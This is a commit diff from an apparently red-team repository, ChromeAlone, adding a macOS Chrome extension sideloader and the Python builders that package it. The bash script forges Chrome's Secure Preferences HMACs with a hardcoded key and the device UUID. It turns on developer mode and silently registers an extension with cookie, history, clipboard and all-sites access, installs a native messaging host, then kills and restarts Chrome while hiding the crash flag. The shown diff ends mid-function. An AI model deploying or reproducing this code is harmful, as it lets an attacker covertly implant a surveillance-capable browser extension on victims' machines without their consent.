mirror of
https://github.com/praetorian-inc/ChromeAlone
synced 2026-06-06 16:34:31 +00:00
Merge pull request #6 from praetorian-inc/macos-sideloading
Test release of MacOS sideloading added to DOORKNOB
This commit is contained in:
@@ -145,6 +145,7 @@ DOORKNOB/ExtensionSideLoader/powershell/test
|
||||
.env
|
||||
extension_sideloader.ps1
|
||||
iwa_sideloader.ps1
|
||||
app-sideloader-macos.sh
|
||||
relay-proxy-deploy/
|
||||
BATTLEPLAN/test
|
||||
PAINTBUCKET/FidoBinaries
|
||||
|
||||
@@ -0,0 +1,127 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Base Chrome Extension Sideloader Builder
|
||||
|
||||
This module provides the base class for building platform-specific Chrome extension
|
||||
sideloaders. It handles common functionality like extension zipping and base64 encoding.
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import zipfile
|
||||
import base64
|
||||
import argparse
|
||||
from pathlib import Path
|
||||
from io import BytesIO
|
||||
from abc import ABC, abstractmethod
|
||||
|
||||
|
||||
class BaseExtensionBuilder(ABC):
|
||||
"""Base class for platform-specific extension sideloader builders."""
|
||||
|
||||
def __init__(self, extension_folder, install_path, output_path=None):
|
||||
self.extension_folder = Path(extension_folder)
|
||||
self.install_path = install_path
|
||||
self.output_path = output_path
|
||||
|
||||
# Validate extension folder
|
||||
if not self.extension_folder.exists() or not self.extension_folder.is_dir():
|
||||
raise ValueError(f"Extension folder does not exist: {self.extension_folder}")
|
||||
|
||||
def zip_extension(self):
|
||||
"""Create a ZIP file from the extension folder and return it as bytes."""
|
||||
zip_data = BytesIO()
|
||||
|
||||
with zipfile.ZipFile(zip_data, 'w', zipfile.ZIP_DEFLATED) as zipf:
|
||||
for root, dirs, files in os.walk(self.extension_folder):
|
||||
for file in files:
|
||||
file_path = Path(root) / file
|
||||
arc_name = file_path.relative_to(self.extension_folder)
|
||||
zipf.write(file_path, arc_name)
|
||||
|
||||
return zip_data.getvalue()
|
||||
|
||||
def encode_extension_base64(self):
|
||||
"""Create ZIP of extension and return base64 encoded content."""
|
||||
extension_zip_bytes = self.zip_extension()
|
||||
return base64.b64encode(extension_zip_bytes).decode('utf-8')
|
||||
|
||||
def read_file_as_base64(self, file_path):
|
||||
"""Read a file and return its base64 encoded content."""
|
||||
file_path = Path(file_path)
|
||||
if not file_path.exists():
|
||||
raise ValueError(f"File does not exist: {file_path}")
|
||||
|
||||
with open(file_path, 'rb') as f:
|
||||
content = f.read()
|
||||
|
||||
return base64.b64encode(content).decode('utf-8')
|
||||
|
||||
def get_output_file_path(self):
|
||||
"""Determine the output file path."""
|
||||
if self.output_path:
|
||||
return Path(self.output_path)
|
||||
else:
|
||||
extension_name = self.extension_folder.name
|
||||
return Path(f"{extension_name}_sideloader{self.get_script_extension()}")
|
||||
|
||||
@abstractmethod
|
||||
def get_script_extension(self):
|
||||
"""Return the file extension for the target platform script."""
|
||||
pass
|
||||
|
||||
@abstractmethod
|
||||
def create_extraction_functions(self, extension_base64):
|
||||
"""Create platform-specific extraction functions."""
|
||||
pass
|
||||
|
||||
@abstractmethod
|
||||
def read_template_script(self):
|
||||
"""Read the platform-specific template script."""
|
||||
pass
|
||||
|
||||
@abstractmethod
|
||||
def build_script_content(self, template_script, extraction_functions, extension_base64):
|
||||
"""Build the complete script content for the target platform."""
|
||||
pass
|
||||
|
||||
def build_sideloader_script(self):
|
||||
"""Build the complete sideloader script."""
|
||||
print(f"Building {self.__class__.__name__} sideloader script...")
|
||||
print(f" Extension folder: {self.extension_folder}")
|
||||
print(f" Install path: {self.install_path}")
|
||||
|
||||
# Create base64 encoded extension
|
||||
print("Creating extension ZIP...")
|
||||
extension_base64 = self.encode_extension_base64()
|
||||
|
||||
# Read template script
|
||||
print("Reading template script...")
|
||||
template_script = self.read_template_script()
|
||||
|
||||
# Create extraction functions
|
||||
print("Creating extraction functions...")
|
||||
extraction_functions = self.create_extraction_functions(extension_base64)
|
||||
|
||||
# Build complete script
|
||||
print("Building script content...")
|
||||
script_content = self.build_script_content(template_script, extraction_functions, extension_base64)
|
||||
|
||||
# Write output
|
||||
output_file = self.get_output_file_path()
|
||||
print(f"Writing output to: {output_file}")
|
||||
|
||||
with open(output_file, 'w', encoding='utf-8') as f:
|
||||
f.write(script_content)
|
||||
|
||||
# Make executable if needed
|
||||
self.make_executable(output_file)
|
||||
|
||||
print(f"✅ Sideloader script created successfully: {output_file}")
|
||||
print(f"📦 Extension size: {len(base64.b64decode(extension_base64)):,} bytes")
|
||||
|
||||
return output_file
|
||||
|
||||
def make_executable(self, file_path):
|
||||
"""Make the script executable (platform-specific implementation)."""
|
||||
pass # Default implementation does nothing
|
||||
@@ -0,0 +1,113 @@
|
||||
#!/usr/bin/env python3
|
||||
r"""
|
||||
Chrome Extension Sideloader Builder
|
||||
|
||||
This script creates a self-contained script that embeds extension content
|
||||
and optionally a native messaging host, then deploys them to the specified location.
|
||||
|
||||
Supports both Windows (PowerShell) and macOS (Bash) targets.
|
||||
|
||||
Usage:
|
||||
python build_sideloader.py <extension_folder> <install_path> [--os {windows,macos}]
|
||||
|
||||
Examples:
|
||||
python build_sideloader.py ./myextension "%LOCALAPPDATA%\Google\com.chrome.alone" --os windows
|
||||
python build_sideloader.py ./myextension "$HOME/Library/Application Support/Google/com.chrome.alone" --os macos
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import argparse
|
||||
from pathlib import Path
|
||||
|
||||
from windows_extension_builder import WindowsExtensionBuilder
|
||||
from macos_extension_builder import MacOSExtensionBuilder
|
||||
|
||||
|
||||
def get_default_install_path(os_target, extension_name):
|
||||
"""Get default install path for the target OS."""
|
||||
if os_target == "windows":
|
||||
return f"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Extensions\\{extension_name}"
|
||||
elif os_target == "macos":
|
||||
return f"$HOME/Library/Application Support/Google/{extension_name}"
|
||||
else:
|
||||
raise ValueError(f"Unsupported OS target: {os_target}")
|
||||
|
||||
|
||||
def create_builder(os_target, extension_folder, install_path, output_path=None):
|
||||
"""Create the appropriate builder for the target OS."""
|
||||
if os_target == "windows":
|
||||
return WindowsExtensionBuilder(extension_folder, install_path, output_path)
|
||||
elif os_target == "macos":
|
||||
return MacOSExtensionBuilder(extension_folder, install_path, output_path)
|
||||
else:
|
||||
raise ValueError(f"Unsupported OS target: {os_target}")
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Build a Chrome Extension Sideloader script for Windows or macOS",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog=__doc__
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"extension_folder",
|
||||
help="Path to the extension folder to deploy"
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"install_path",
|
||||
nargs="?",
|
||||
help="Installation path for the extension (can include environment variables). If not provided, uses OS-appropriate default."
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"--os", "--target-os",
|
||||
dest="os_target",
|
||||
choices=["windows", "macos"],
|
||||
default="windows",
|
||||
help="Target operating system (default: windows)"
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"-o", "--output",
|
||||
help="Output file path (default: <extension_name>_sideloader.<ext>)"
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
# Determine install path
|
||||
extension_name = Path(args.extension_folder).name
|
||||
if args.install_path:
|
||||
install_path = args.install_path
|
||||
else:
|
||||
install_path = get_default_install_path(args.os_target, extension_name)
|
||||
print(f"Using default install path for {args.os_target}: {install_path}")
|
||||
|
||||
try:
|
||||
# Create appropriate builder
|
||||
builder = create_builder(args.os_target, args.extension_folder, install_path, args.output)
|
||||
|
||||
# Build the sideloader script
|
||||
output_file = builder.build_sideloader_script()
|
||||
|
||||
print(f"\n🎉 Build completed successfully!")
|
||||
print(f"📄 Generated: {output_file}")
|
||||
print(f"🎯 Target OS: {args.os_target}")
|
||||
|
||||
if args.os_target == "windows":
|
||||
print(f"\nTo deploy the extension, run:")
|
||||
print(f" powershell -ExecutionPolicy Bypass -File {output_file}")
|
||||
elif args.os_target == "macos":
|
||||
print(f"\nTo deploy the extension, run:")
|
||||
print(f" chmod +x {output_file}")
|
||||
print(f" ./{output_file}")
|
||||
|
||||
except Exception as e:
|
||||
print(f"❌ Error: {e}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,566 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Chrome Extension Sideloader for macOS
|
||||
# This script sideloads Chrome extensions by modifying Chrome's Secure Preferences
|
||||
|
||||
# Default parameters
|
||||
EXTENSION_INSTALL_DIR="$HOME/Library/Application Support/Google/Chrome/Default/Extensions/myextension"
|
||||
EXTENSION_DESCRIPTION="Chrome Extension"
|
||||
INSTALL_NATIVE_MESSAGING_HOST="true"
|
||||
FORCE_RESTART_CHROME="true"
|
||||
|
||||
# Parse command line arguments
|
||||
while [[ $# -gt 0 ]]; do
|
||||
case $1 in
|
||||
--extension-dir)
|
||||
EXTENSION_INSTALL_DIR="$2"
|
||||
shift 2
|
||||
;;
|
||||
--description)
|
||||
EXTENSION_DESCRIPTION="$2"
|
||||
shift 2
|
||||
;;
|
||||
--install-native-host)
|
||||
INSTALL_NATIVE_MESSAGING_HOST="$2"
|
||||
shift 2
|
||||
;;
|
||||
--force-restart)
|
||||
FORCE_RESTART_CHROME="$2"
|
||||
shift 2
|
||||
;;
|
||||
*)
|
||||
echo "Unknown option: $1"
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
# Chrome path helper functions
|
||||
get_chrome_application_path() {
|
||||
local chrome_app_path="/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
|
||||
if [[ -f "$chrome_app_path" ]]; then
|
||||
echo "$chrome_app_path"
|
||||
return 0
|
||||
fi
|
||||
|
||||
echo "Cannot find Google Chrome application." >&2
|
||||
return 1
|
||||
}
|
||||
|
||||
get_chrome_resources_path() {
|
||||
local resources_path="/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Resources/resources.pak"
|
||||
if [[ -f "$resources_path" ]]; then
|
||||
echo "$resources_path"
|
||||
return 0
|
||||
fi
|
||||
|
||||
echo "Cannot find Chrome resources.pak file." >&2
|
||||
return 1
|
||||
}
|
||||
|
||||
get_preferences_path() {
|
||||
echo "$HOME/Library/Application Support/Google/Chrome/Default/Preferences"
|
||||
}
|
||||
|
||||
get_secure_preferences_path() {
|
||||
echo "$HOME/Library/Application Support/Google/Chrome/Default/Secure Preferences"
|
||||
}
|
||||
|
||||
# Chrome machine ID functions
|
||||
get_device_id() {
|
||||
# Use system UUID as device ID base - get the Hardware UUID and format it properly
|
||||
system_profiler SPHardwareDataType | awk '/UUID/ { print $3; }' | cut -d'-' -f1-7 | tr '[:lower:]' '[:upper:]'
|
||||
}
|
||||
|
||||
get_machine_key() {
|
||||
# Hardcoded machine key seed (same value used across all instances)
|
||||
# This is the hex representation of the Python bytes courtesy of SilentChrome - https://github.com/asaurusrex/Silent_Chrome
|
||||
# b'\xe7H\xf36\xd8^\xa5\xf9\xdc\xdf%\xd8\xf3G\xa6[L\xdffv\x00\xf0-\xf6rJ*\xf1\x8a!-&\xb7\x88\xa2P\x86\x91\x0c\xf3\xa9\x03\x13ihq\xf3\xdc\x05\x8270\xc9\x1d\xf8\xba\\O\xd9\xc8\x84\xb5\x05\xa8'
|
||||
echo "e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8"
|
||||
}
|
||||
|
||||
# Extension crypto helpers
|
||||
calculate_sha256_hash() {
|
||||
local input="$1"
|
||||
echo -n "$input" | /usr/bin/shasum -a 256 | /usr/bin/cut -d' ' -f1
|
||||
}
|
||||
|
||||
calculate_extension_id_from_path() {
|
||||
local path="$1"
|
||||
|
||||
# Convert path to UTF-8 bytes then calculate SHA256
|
||||
local sha256_hash=$(echo -n "$path" | /usr/bin/shasum -a 256 | /usr/bin/cut -d' ' -f1)
|
||||
|
||||
# Convert first 32 hex chars to extension ID (a-p mapping)
|
||||
local extension_id=""
|
||||
local i
|
||||
for ((i=0; i<32; i++)); do
|
||||
local hex_char="${sha256_hash:$i:1}"
|
||||
case "$hex_char" in
|
||||
0) extension_id+="a" ;;
|
||||
1) extension_id+="b" ;;
|
||||
2) extension_id+="c" ;;
|
||||
3) extension_id+="d" ;;
|
||||
4) extension_id+="e" ;;
|
||||
5) extension_id+="f" ;;
|
||||
6) extension_id+="g" ;;
|
||||
7) extension_id+="h" ;;
|
||||
8) extension_id+="i" ;;
|
||||
9) extension_id+="j" ;;
|
||||
a) extension_id+="k" ;;
|
||||
b) extension_id+="l" ;;
|
||||
c) extension_id+="m" ;;
|
||||
d) extension_id+="n" ;;
|
||||
e) extension_id+="o" ;;
|
||||
f) extension_id+="p" ;;
|
||||
esac
|
||||
done
|
||||
|
||||
echo "$extension_id"
|
||||
}
|
||||
|
||||
# JSON manipulation functions
|
||||
edit_json() {
|
||||
local json_input="$1"
|
||||
local key_path="$2"
|
||||
local new_value="$3"
|
||||
|
||||
# Use osascript to manipulate JSON with support for nested keys
|
||||
osascript -l JavaScript -e "
|
||||
function run(argv) {
|
||||
var jsonInput = argv[0];
|
||||
var keyPath = argv[1];
|
||||
var newValue = argv[2];
|
||||
|
||||
// Parse the input JSON
|
||||
var jsonObj;
|
||||
try {
|
||||
jsonObj = JSON.parse(jsonInput);
|
||||
} catch (e) {
|
||||
throw new Error('Invalid JSON input: ' + e.message);
|
||||
}
|
||||
|
||||
// Split the key path by dots to handle nested keys
|
||||
var keys = keyPath.split('.');
|
||||
var current = jsonObj;
|
||||
|
||||
// Navigate/create the nested structure
|
||||
for (var i = 0; i < keys.length - 1; i++) {
|
||||
var key = keys[i];
|
||||
if (!(key in current) || typeof current[key] !== 'object' || current[key] === null || Array.isArray(current[key])) {
|
||||
current[key] = {};
|
||||
}
|
||||
current = current[key];
|
||||
}
|
||||
|
||||
// Set the final value
|
||||
var finalKey = keys[keys.length - 1];
|
||||
|
||||
// Try to parse the new value as JSON first, if it fails treat as string
|
||||
try {
|
||||
current[finalKey] = JSON.parse(newValue);
|
||||
} catch (e) {
|
||||
// If parsing fails, treat as string
|
||||
current[finalKey] = newValue;
|
||||
}
|
||||
|
||||
// Return the modified JSON
|
||||
return JSON.stringify(jsonObj);
|
||||
}" "$json_input" "$key_path" "$new_value"
|
||||
}
|
||||
|
||||
read_json_key() {
|
||||
local json_input="$1"
|
||||
local key_path="$2"
|
||||
|
||||
# Use osascript to read a specific key from JSON and return it as JSON string
|
||||
osascript -l JavaScript -e "
|
||||
function run(argv) {
|
||||
var jsonInput = argv[0];
|
||||
var keyPath = argv[1];
|
||||
|
||||
// Parse the input JSON
|
||||
var jsonObj;
|
||||
try {
|
||||
jsonObj = JSON.parse(jsonInput);
|
||||
} catch (e) {
|
||||
throw new Error('Invalid JSON input: ' + e.message);
|
||||
}
|
||||
|
||||
// Split the key path by dots to handle nested keys
|
||||
var keys = keyPath.split('.');
|
||||
var current = jsonObj;
|
||||
|
||||
// Navigate to the target key
|
||||
for (var i = 0; i < keys.length; i++) {
|
||||
var key = keys[i];
|
||||
if (!(key in current)) {
|
||||
throw new Error('Key path not found: ' + keyPath);
|
||||
}
|
||||
current = current[key];
|
||||
}
|
||||
|
||||
// Return the value as JSON string
|
||||
return JSON.stringify(current);
|
||||
}" "$json_input" "$key_path"
|
||||
}
|
||||
|
||||
sort_and_cull_json() {
|
||||
local json_str="$1"
|
||||
|
||||
osascript -l JavaScript -e "
|
||||
function run(argv) {
|
||||
var jsonStr = argv[0];
|
||||
var obj = JSON.parse(jsonStr);
|
||||
|
||||
function removeEmpty(obj) {
|
||||
if (Array.isArray(obj)) {
|
||||
// For arrays, filter out empty elements
|
||||
return obj.filter(function(item) {
|
||||
if (item === null || item === undefined || item === '') return false;
|
||||
if (typeof item === 'object') {
|
||||
var cleaned = removeEmpty(item);
|
||||
return Object.keys(cleaned).length > 0 || Array.isArray(cleaned) && cleaned.length > 0;
|
||||
}
|
||||
return true;
|
||||
}).map(removeEmpty);
|
||||
} else if (obj !== null && typeof obj === 'object') {
|
||||
var result = {};
|
||||
for (var key in obj) {
|
||||
if (obj.hasOwnProperty(key)) {
|
||||
var value = obj[key];
|
||||
if (value === null || value === undefined || value === '') continue;
|
||||
if (typeof value === 'object') {
|
||||
var cleaned = removeEmpty(value);
|
||||
if (Array.isArray(cleaned) && cleaned.length === 0) continue;
|
||||
if (!Array.isArray(cleaned) && Object.keys(cleaned).length === 0) continue;
|
||||
result[key] = cleaned;
|
||||
} else {
|
||||
result[key] = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
return obj;
|
||||
}
|
||||
|
||||
var cleaned = removeEmpty(obj);
|
||||
var result = JSON.stringify(cleaned, null, 0);
|
||||
|
||||
// Handle Unicode escaping like Chrome does
|
||||
result = result.replace(/</g, '\\\\\\\\u003C');
|
||||
result = result.replace(/>/g, '\\\\\\\\u003E');
|
||||
|
||||
return result;
|
||||
}" "$json_str"
|
||||
}
|
||||
|
||||
sort_and_cull_json_for_hmac() {
|
||||
local json_str="$1"
|
||||
|
||||
osascript -l JavaScript -e "
|
||||
function run(argv) {
|
||||
var jsonStr = argv[0];
|
||||
var obj = JSON.parse(jsonStr);
|
||||
|
||||
function removeEmpty(obj) {
|
||||
if (Array.isArray(obj)) {
|
||||
// For arrays, filter out empty elements
|
||||
return obj.filter(function(item) {
|
||||
if (item === null || item === undefined || item === '') return false;
|
||||
if (typeof item === 'object') {
|
||||
var cleaned = removeEmpty(item);
|
||||
return Object.keys(cleaned).length > 0 || Array.isArray(cleaned) && cleaned.length > 0;
|
||||
}
|
||||
return true;
|
||||
}).map(removeEmpty);
|
||||
} else if (obj !== null && typeof obj === 'object') {
|
||||
var result = {};
|
||||
for (var key in obj) {
|
||||
if (obj.hasOwnProperty(key)) {
|
||||
var value = obj[key];
|
||||
if (value === null || value === undefined || value === '') continue;
|
||||
if (typeof value === 'object') {
|
||||
var cleaned = removeEmpty(value);
|
||||
if (Array.isArray(cleaned) && cleaned.length === 0) continue;
|
||||
if (!Array.isArray(cleaned) && Object.keys(cleaned).length === 0) continue;
|
||||
result[key] = cleaned;
|
||||
} else {
|
||||
result[key] = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
return obj;
|
||||
}
|
||||
|
||||
var cleaned = removeEmpty(obj);
|
||||
var result = JSON.stringify(cleaned, null, 0);
|
||||
|
||||
// For HMAC calculation, only escape < (not >)
|
||||
result = result.replace(/</g, '\\\\\\\\u003C');
|
||||
|
||||
|
||||
return result;
|
||||
}" "$json_str"
|
||||
}
|
||||
|
||||
calculate_hmac_from_json() {
|
||||
local json_content="$1"
|
||||
local json_path="$2"
|
||||
local key_hex="$3"
|
||||
local device_id="$4"
|
||||
|
||||
# Normalize the JSON by removing empty objects/arrays and sorting
|
||||
local fixed_content=$(sort_and_cull_json_for_hmac "$json_content")
|
||||
|
||||
# Unescape double backslashes
|
||||
fixed_content=$(echo "$fixed_content" | sed 's/\\\\/\\/g')
|
||||
|
||||
# Build message: deviceId + path + content (all UTF-8 encoded)
|
||||
local message="${device_id}${json_path}${fixed_content}"
|
||||
|
||||
# Debug output - show exact message and hex for comparison
|
||||
# echo "DEBUG - Message: $message" >&2
|
||||
# echo "DEBUG - Message length: ${#message}" >&2
|
||||
|
||||
# Convert message to hex for debugging and HMAC calculation
|
||||
local message_hex=$(echo -n "$message" | /usr/bin/xxd -p | /usr/bin/tr -d '\n' | /usr/bin/tr '[:lower:]' '[:upper:]')
|
||||
#echo "DEBUG - Message (hex): $message_hex" >&2
|
||||
|
||||
# Calculate HMAC-SHA256 using openssl
|
||||
local hmac_result=$(echo -n "$message_hex" | /usr/bin/xxd -r -p | /usr/bin/openssl dgst -sha256 -mac HMAC -macopt hexkey:"$key_hex" | /usr/bin/cut -d' ' -f2)
|
||||
|
||||
# Convert to uppercase
|
||||
echo "$hmac_result" | /usr/bin/tr '[:lower:]' '[:upper:]'
|
||||
}
|
||||
|
||||
calculate_hmac_from_string() {
|
||||
local string_content="$1"
|
||||
local json_path="$2"
|
||||
local key_hex="$3"
|
||||
local device_id="$4"
|
||||
|
||||
# Build message: deviceId + path + content (all UTF-8 encoded)
|
||||
local message_hex=""
|
||||
|
||||
# Convert device_id to hex
|
||||
local device_id_hex=$(echo -n "$device_id" | /usr/bin/xxd -p | /usr/bin/tr -d '\n')
|
||||
message_hex+="$device_id_hex"
|
||||
|
||||
# Convert json_path to hex
|
||||
local json_path_hex=$(echo -n "$json_path" | /usr/bin/xxd -p | /usr/bin/tr -d '\n')
|
||||
message_hex+="$json_path_hex"
|
||||
|
||||
# Convert string_content to hex
|
||||
local content_hex=$(echo -n "$string_content" | /usr/bin/xxd -p | /usr/bin/tr -d '\n')
|
||||
message_hex+="$content_hex"
|
||||
|
||||
# Convert key from hex to binary, then calculate HMAC-SHA256
|
||||
# We'll use openssl for HMAC calculation
|
||||
local hmac_result=$(echo -n "$message_hex" | /usr/bin/xxd -r -p | /usr/bin/openssl dgst -sha256 -mac HMAC -macopt hexkey:"$key_hex" | /usr/bin/cut -d' ' -f2)
|
||||
|
||||
# Convert to uppercase
|
||||
echo "$hmac_result" | /usr/bin/tr '[:lower:]' '[:upper:]'
|
||||
}
|
||||
|
||||
# Extension sideloader functions
|
||||
add_extension_to_secure_preferences() {
|
||||
local secure_pref_file="$1"
|
||||
local extension_settings="$2"
|
||||
local install_path="$3"
|
||||
local device_id="$4"
|
||||
local key_hex="$5"
|
||||
|
||||
echo "Adding extension for install path: $install_path" >&2
|
||||
|
||||
# Calculate extension ID in bash
|
||||
local extension_id=$(calculate_extension_id_from_path "$install_path")
|
||||
echo "Calculated extension ID: $extension_id" >&2
|
||||
|
||||
# Create extension settings with path for HMAC calculation (preserve field ordering)
|
||||
local extension_with_path="$extension_settings"
|
||||
# Replace placeholder path with actual path
|
||||
extension_with_path="${extension_with_path//PLACEHOLDER_PATH/$install_path}"
|
||||
|
||||
# Calculate HMACs in bash
|
||||
local extension_mac=$(calculate_hmac_from_json "$extension_with_path" "extensions.settings.$extension_id" "$key_hex" "$device_id")
|
||||
local developer_mode_mac=$(calculate_hmac_from_string "true" "extensions.ui.developer_mode" "$key_hex" "$device_id")
|
||||
|
||||
echo "Extension with path: $extension_with_path" >&2
|
||||
echo "Extension HMAC: $extension_mac" >&2
|
||||
echo "Developer mode HMAC: $developer_mode_mac" >&2
|
||||
|
||||
# Read current secure preferences or create empty structure
|
||||
local current_json="{}"
|
||||
if [[ -f "$secure_pref_file" ]]; then
|
||||
current_json=$(cat "$secure_pref_file" 2>/dev/null || echo "{}")
|
||||
fi
|
||||
|
||||
# Add path to extension settings for the actual storage
|
||||
local extension_with_path=$(edit_json "$extension_settings" "path" "\"$install_path\"")
|
||||
|
||||
# Use edit_json to build the secure preferences structure step by step
|
||||
# Add extension settings
|
||||
current_json=$(edit_json "$current_json" "extensions.settings.$extension_id" "$extension_with_path")
|
||||
|
||||
# Enable developer mode
|
||||
current_json=$(edit_json "$current_json" "extensions.ui.developer_mode" "true")
|
||||
|
||||
# Add extension MAC
|
||||
current_json=$(edit_json "$current_json" "protection.macs.extensions.settings.$extension_id" "\"$extension_mac\"")
|
||||
|
||||
# Add developer mode MAC
|
||||
current_json=$(edit_json "$current_json" "protection.macs.extensions.ui.developer_mode" "\"$developer_mode_mac\"")
|
||||
|
||||
# Write the updated JSON back to the file
|
||||
echo "$current_json" > "$secure_pref_file"
|
||||
|
||||
echo "Extension added to secure preferences" >&2
|
||||
# returns the modified JSON
|
||||
echo "$current_json"
|
||||
}
|
||||
|
||||
install_native_messaging_host() {
|
||||
local extension_path="$1"
|
||||
local native_app_path="$2"
|
||||
local extension_reg_name="$3"
|
||||
local extension_description="$4"
|
||||
|
||||
local native_messaging_config_path="$extension_path/$extension_reg_name.json"
|
||||
local linked_extension_id=$(calculate_extension_id_from_path "$extension_path")
|
||||
|
||||
# Create native messaging host configuration
|
||||
cat > "$native_messaging_config_path" << EOF
|
||||
{
|
||||
"name": "$extension_reg_name",
|
||||
"description": "$extension_description",
|
||||
"path": "$native_app_path",
|
||||
"type": "stdio",
|
||||
"allowed_origins": ["chrome-extension://$linked_extension_id/"]
|
||||
}
|
||||
EOF
|
||||
|
||||
# Create registry entry (macOS uses different mechanism)
|
||||
local native_messaging_dir="$HOME/Library/Application Support/Google/Chrome/NativeMessagingHosts"
|
||||
mkdir -p "$native_messaging_dir"
|
||||
|
||||
# Create symlink or copy config file
|
||||
ln -sf "$native_messaging_config_path" "$native_messaging_dir/$extension_reg_name.json"
|
||||
|
||||
echo "Native messaging host installed"
|
||||
}
|
||||
|
||||
# Extension settings JSON
|
||||
EXTENSION_SETTINGS='{"account_extension_type":0,"active_permissions":{"api":["activeTab","background","clipboardRead","cookies","history","nativeMessaging","tabs","declarativeNetRequest","scripting"],"explicit_host":["\u003Call_urls>"],"manifest_permissions":[],"scriptable_host":["\u003Call_urls>"]},"commands":{},"content_settings":[],"creation_flags":38,"disable_reasons":[],"first_install_time":"13397690747955841","from_webstore":false,"granted_permissions":{"api":["activeTab","background","clipboardRead","cookies","history","nativeMessaging","tabs","declarativeNetRequest","scripting"],"explicit_host":["\u003Call_urls>"],"manifest_permissions":[],"scriptable_host":["\u003Call_urls>"]},"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13397690747955841","location":4,"newAllowFileAccess":true,"path":"PLACEHOLDER_PATH","preferences":{},"regular_only_preferences":{},"service_worker_registration_info":{"version":"1.0"},"serviceworkerevents":["runtime.onInstalled","runtime.onStartup"],"was_installed_by_default":false,"was_installed_by_oem":false,"withholding_permissions":false}'
|
||||
|
||||
main() {
|
||||
echo "Starting Chrome Extension Sideloader for macOS..."
|
||||
|
||||
# Get Chrome paths and machine information
|
||||
local secure_pref_path=$(get_secure_preferences_path)
|
||||
local preferences_path=$(get_preferences_path)
|
||||
|
||||
local device_id=$(get_device_id)
|
||||
local key_hex=$(get_machine_key)
|
||||
|
||||
echo "Device ID: $device_id"
|
||||
echo "Secure Preferences Path: $secure_pref_path"
|
||||
echo "Machine Key: ${key_hex:0:16}..." # Show only first 16 chars for security
|
||||
|
||||
# Check if Chrome is running and warn user
|
||||
if pgrep -f "Google Chrome" > /dev/null; then
|
||||
echo "⚠️ Chrome is currently running. For best results, please close Chrome before running this script."
|
||||
if [[ "$FORCE_RESTART_CHROME" != "true" ]]; then
|
||||
read -p "Continue anyway? (y/N): " -n 1 -r
|
||||
echo
|
||||
if [[ ! $REPLY =~ ^[Yy]$ ]]; then
|
||||
echo "Aborted by user."
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
|
||||
# Install extension
|
||||
local extension_install_path="$EXTENSION_INSTALL_DIR"
|
||||
echo "Installing extension to: $extension_install_path"
|
||||
|
||||
# Extract embedded extension content
|
||||
extract_embedded_extension "$extension_install_path"
|
||||
|
||||
# Modify secure preferences
|
||||
local modified_json=$(add_extension_to_secure_preferences "$secure_pref_path" "$EXTENSION_SETTINGS" "$extension_install_path" "$device_id" "$key_hex")
|
||||
|
||||
# Extract the macs object from the modified JSON for super MAC calculation
|
||||
local macs_json=$(read_json_key "$modified_json" "protection.macs")
|
||||
|
||||
# Calculate super MAC using the actual macs object (like PowerShell version)
|
||||
local super_mac=$(calculate_hmac_from_json "$macs_json" "" "$key_hex" "$device_id")
|
||||
|
||||
echo "Calculated SuperMAC: $super_mac"
|
||||
|
||||
# Set super MAC in the modified JSON
|
||||
modified_json=$(edit_json "$modified_json" "protection.super_mac" "\"$super_mac\"")
|
||||
|
||||
# Write the final JSON back to the secure preferences file
|
||||
echo "$modified_json" > "$secure_pref_path"
|
||||
|
||||
echo "Secure Preferences file updated successfully!"
|
||||
|
||||
# Install native messaging host if specified
|
||||
if [[ "$INSTALL_NATIVE_MESSAGING_HOST" == "true" ]]; then
|
||||
local host_path="$extension_install_path/NativeAppHost.sh"
|
||||
echo "Installing native messaging host to: $host_path"
|
||||
|
||||
local extension_name=$(basename "$EXTENSION_INSTALL_DIR")
|
||||
local lower_case_extension_name=$(echo "$extension_name" | tr '[:upper:]' '[:lower:]')
|
||||
install_native_messaging_host "$extension_install_path" "$host_path" "$lower_case_extension_name" "$EXTENSION_DESCRIPTION"
|
||||
fi
|
||||
|
||||
# Force restart Chrome if specified
|
||||
if [[ "$FORCE_RESTART_CHROME" == "true" ]]; then
|
||||
echo "Force restarting Chrome..."
|
||||
|
||||
# Kill Chrome processes
|
||||
pkill -f "Google Chrome" || true
|
||||
sleep 2
|
||||
|
||||
# Wait for processes to fully terminate
|
||||
while pgrep -f "Google Chrome" > /dev/null; do
|
||||
sleep 0.1
|
||||
done
|
||||
|
||||
# Update preferences to remove crash flag
|
||||
if [[ -f "$preferences_path" ]]; then
|
||||
sed -i '' 's/"exit_type":"Crashed"/"exit_type":"none"/g' "$preferences_path"
|
||||
echo "Updated Chrome preferences to remove crash flag"
|
||||
fi
|
||||
|
||||
# Restart Chrome
|
||||
local chrome_path=$(get_chrome_application_path)
|
||||
if [[ -f "$chrome_path" ]]; then
|
||||
open -a "Google Chrome" --args --restore-last-session
|
||||
echo "Chrome restarted with session restore"
|
||||
else
|
||||
echo "Chrome executable not found"
|
||||
fi
|
||||
fi
|
||||
|
||||
|
||||
echo "Chrome Extension Sideloader completed successfully!"
|
||||
}
|
||||
|
||||
# These functions will be replaced by the Python builder with actual extraction logic
|
||||
extract_embedded_extension() {
